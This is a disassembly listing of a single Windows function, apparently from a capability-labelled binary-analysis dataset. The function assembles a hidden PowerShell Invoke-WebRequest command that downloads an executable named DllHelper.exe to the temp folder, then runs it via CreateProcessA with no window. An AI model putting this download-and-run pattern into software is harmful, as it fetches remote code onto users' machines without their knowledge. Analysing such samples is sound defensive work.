Function at 0x40b660
Capabilities:
Create process on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414662
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xc0
mov eax, dword [0x41b040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x78], edx
mov esi, ecx
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x80], esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x6c]
push 0x40
mov dword [ebp - 0x84], esi
push 0
mov dword [ebp - 0x74], 0
push eax
mov dword [ebp - 0x70], 0x44
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x9c]
mov ecx, 0x41b9c8
push eax
call fcn.004041d0
mov edi, eax
mov dword [ebp - 4], 1
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0xd
jb 0x40b72b
lea eax, [ecx + 0xd]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0xf
jbe 0x40b70f
mov eax, dword [edi]
push 0xd
lea esi, [eax + ecx]
push str.DllHelper.exe
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0xd], 0
add esp, 0xc
mov esi, dword [ebp - 0x7c]
jmp 0x40b744
push 0xd
push str.DllHelper.exe
mov byte [ebp - 0x80], 0
mov ecx, edi
push dword [ebp - 0x80]
push 0xd
call fcn.00403190
mov edi, eax
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [edi]
movups xmmword [esi], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0x74], 3
cmp ecx, 0xf
jbe 0x40b7c0
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b7b6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40b7b6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00412260
add esp, 8
mov ecx, dword [ebp - 0x78]
mov eax, SysReAllocString
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 0x2d
jb 0x40b9bb
cmp dword [ecx + 0x14], 0xf
jbe 0x40b7f9
mov ecx, dword [ecx]
push edx
push ecx
push 0x2d
push str.powershell__Command__Invoke_WebRequest__Uri_
push ecx
push dword [ebp - 0x84]
lea ecx, [ebp - 0xb4]
call fcn.00403360
mov dword [ebp - 0x74], 7
mov dword [ebp - 4], 2
mov edx, dword [ebp - 0xa0]
mov eax, edx
mov ecx, dword [ebp - 0xa4]
sub eax, ecx
push 0x23
push str.__OutFile__env:TEMPDllHelper.exe_
cmp eax, 0x23
jb 0x40b871
cmp edx, 0xf
lea esi, [ebp - 0xb4]
lea eax, [ecx + 0x23]
cmova esi, dword [ebp - 0xb4]
add esi, ecx
mov dword [ebp - 0xa4], eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0x23], 0
lea eax, [ebp - 0xb4]
mov esi, dword [ebp - 0x7c]
add esp, 0xc
jmp 0x40b885
mov byte [ebp - 0x78], 0
lea ecx, [ebp - 0xb4]
push dword [ebp - 0x78]
push 0x23
call fcn.00403190
movups xmm0, xmmword [eax]
mov dword [ebp - 0x74], 0xf
movups xmmword [ebp - 0x9c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x8c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea edx, [ebp - 0x9c]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xcc]
call fcn.0040a370
mov ecx, dword [ebp - 0xb8]
cmp ecx, 0xf
jbe 0x40b8ff
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b8f5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b961
push ecx
push edx
call fcn.00412260
add esp, 8
mov ecx, dword [ebp - 0x88]
cmp ecx, 0xf
jbe 0x40b935
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b92b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b961
push ecx
push edx
call fcn.00412260
add esp, 8
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0xf
jbe 0x40b971
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40b967
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40b967
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00412260
add esp, 8
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x40b97b
mov eax, dword [esi]
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x70]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041210d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004012b0
int3